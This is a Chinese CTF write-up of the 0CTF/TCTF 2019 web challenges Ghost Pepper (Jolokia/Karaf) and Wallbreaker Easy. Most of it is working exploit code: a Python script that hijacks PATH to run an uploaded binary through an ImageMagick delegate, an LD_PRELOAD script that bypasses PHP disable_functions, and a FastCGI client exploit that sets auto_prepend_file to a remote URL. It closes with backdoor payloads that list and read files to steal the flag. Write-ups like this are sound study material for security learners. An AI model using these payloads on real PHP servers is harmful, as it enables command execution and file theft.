2019TCTF_0CTF-web-wp

国际赛太可怕了,只做出了简单的web1,web2实在是没思路了,下面是复现之后写的wp

Ghost Pepper

第一天拿到题目,一个入手点都没找到,因为都是404,第一天晚上,才想起来去看看题目,结果一搜,果然,ghost pepper≈jolokia,再一次吃了英语菜的亏。
于是搜了下面一波paper
https://xz.aliyun.com/t/4258
https://xz.aliyun.com/t/2229
https://www.anquanke.com/post/id/173265
https://www.anquanke.com/post/id/173262
https://www.anquanke.com/post/id/103016
首先/jolokia/list一下,得到关于karaf的一些东西
image.png
image.png
对于java小白,只能去看文档了
https://karaf.apache.org/manual/latest/
下面贴几条关键语句


下面直接定位跟题目有关的jolokia跟karaf
https://karaf.apache.org/manual/latest/#_jmx_http_bridge_with_jolokia

参考文章:https://www.anquanke.com/post/id/103016#h3-8

得到启发,然后尝试通过jar包create bundle


由于上面提到是osgi框架,于是参考:
http://developer.51cto.com/art/200909/152209.htm
在start里面构造反弹shell,并触发start,拿到shell最后拿到flag



补上郁离歌大师傅的wp,里面有另外一种做法,赛后也复现了一遍。
http://yulige.top/?p=673

Wallbreaker Easy

解法一

地址:http://111.186.63.208:31340

题目是rr师傅出的,看了之前rr师傅的cve
CVE-2016-3714
ImageMagick-CVE-2016-3714 命令执行分析
CVE-2016-3714 - ImageMagick 命令执行分析
非预期没来得及做,血亏!晚上拿着这个扩展的各种cve打来打去,没有打出来,然后tcl,没啥思路,赛后问了一下zsx师傅,拿到了思路,当晚复现了一下。

发现

可以看到基本把目前知道能绕过disable_functions禁了,所以目的很明显,题目也提醒了,需要用imagick扩展来调用系统命令读flag
参考:https://github.com/ImageMagick/ImageMagick/blob/e93e339c0a44cec16c08d78241f7aa3754485004/MagickCore/delegate.c#L347

根据zsx师傅给的思路,这里调用bpg没有写绝对路径,后面发现不单单只是bpg,还有很多委托都可以,调用的时候会到PATH里面找,那么我们可以覆盖掉这个PATH,并上传一个同名的二进制文档到tmp目录下,让他执行恶意文档。
image.png
image.png


献上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import base64
import requests

url = "http://111.186.63.208:31340/"
evil = open("bpgenc", "rb").read()
evil = base64.b64encode(evil)
php = "putenv('PATH=/tmp/f46ddc4021c2838e4b31792cdc30cac2');"
"file_put_contents('/tmp/f46ddc4021c2838e4b31792cdc30cac2/bpgenc', base64_decode('" + evil + "'));"
"chmod('/tmp/f46ddc4021c2838e4b31792cdc30cac2/bpgenc', 0777);"
"$image = new Imagick('http://xxxxxxxxx/19.jpg');"
"$image -> writeImage('/tmp/f46ddc4021c2838e4b31792cdc30cac2/a.bpg');"
"echo file_get_contents('/tmp/f46ddc4021c2838e4b31792cdc30cac2/decade');"
data = {
"backdoor": php
}
print requests.post(url, data=data).content

解法2(赛后复现)

首先先仔细阅读这篇文章:https://cloud.tencent.com/developer/article/1379245
image.png

1
2
3
4
#error.php
<?php
error_log("a",1)
?>

image.png
意淫一下,翻一翻源码估计还有23333,注意一个坑,要把bypass_disablefunc.php中的unlink($out_path);去掉,不然flag写了秒删orz。接着按照文章中的步骤就vans了。回过头来看,这里利用LD_PRRLOAD加载动态链接库同样适用于解法1。

1
2
3
4
5
6
7
8
9
10
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
1
gcc -shared -fPIC getuid_shadow.c -o getuid_shadow.so

payload可以参考:https://xz.aliyun.com/t/4590#toc-2
附上l3m0n师傅的bypass集合:https://github.com/l3m0n/Bypass_Disable_functions_Shell
再附上其他师傅的wp:
https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#wallbreaker-easy
https://hxp.io/blog/53/0CTF-Quals-2019-Wallbreaker-easy-writeup/
https://github.com/m0xiaoxi/CTF_Web_docker/tree/master/TCTF2019/Wallbreaker_Easya

这里我也把师傅们的骚操作写在下面,以防后面用到

glob列目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$file_list = array();
$it = new DirectoryIterator("glob:///tm?/*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
$it = new DirectoryIterator("glob:///tm?/.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}

绕过base_basedir读文档

先看:https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author Pierrick Charron <[email protected]>
* @version 1.0
*/
class FCGIClient
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{0});
$ret['type'] = ord($data{1});
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved'] = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
$this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
$response .= $resp['content'];
}
} while ($resp && $resp['type'] != self::END_REQUEST);
var_dump($resp);
if (!is_array($resp)) {
throw new Exception('Bad request');
}
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('This app can't multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
die("Check your inputn");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php/php7.2-fpm.sock", -1);
$code = "<?php echo($_REQUEST['command']);?>"; // php payload
//$php_value = "allow_url_include = Onnopen_basedir = /nauto_prepend_file = php://input";
$php_value = "allow_url_include = Onnopen_basedir = /nauto_prepend_file = http://kaibro.tw/gginin";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'QUERY_STRING' => 'command='.$_REQUEST['cmd'],
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
#'DOCUMENT_ROOT' => '/',
'PHP_VALUE' => $php_value,
'SERVER_SOFTWARE' => '80sec/wofeiwo',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9985',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
echo "Call: $urinn";
echo strstr($client->request($params, $code), "PHP Version", true)."n";
?>

非预期抄作业

1
2
3
4
5
6
7
8
本地列目录可以,远程不行
backdoor=echo var_dump(scandir('/tmp'));
另一种方式列目录
backdoor=$dir = "/var/www/html/";if (is_dir($dir)){if ($dh = opendir($dir)){while (($file = readdir($dh)) !== false){echo "filename:" . $file . "<br>";}closedir($dh);}}
列目录+读文档
backdoor=$dir = "/var/www/html/";if (is_dir($dir)){if ($dh = opendir($dir)){while (($file = readdir($dh)) !== false){echo "filename:" . $file . "<br>".file_get_contents('/var/www/html/'.$file);}closedir($dh);}}
偷flag
backdoor=$dir = "/tmp/";if (is_dir($dir)){if ($dh = opendir($dir)){while (($file = readdir($dh)) !== false){echo "filename:" . $file . "<br>".file_get_contents('/tmp/'.$file);}closedir($dh);}}

总结

  • 做题做到毫无入手点的时候,阅读十遍题目
  • 做题毫无思路的时候多翻翻文档,不要惧怕英文文档
  • 配环境要熟练,多折腾,对linux常规运维操作要熟练,需要加强对php底层代码的调试能力及跟踪调用栈的操作熟练度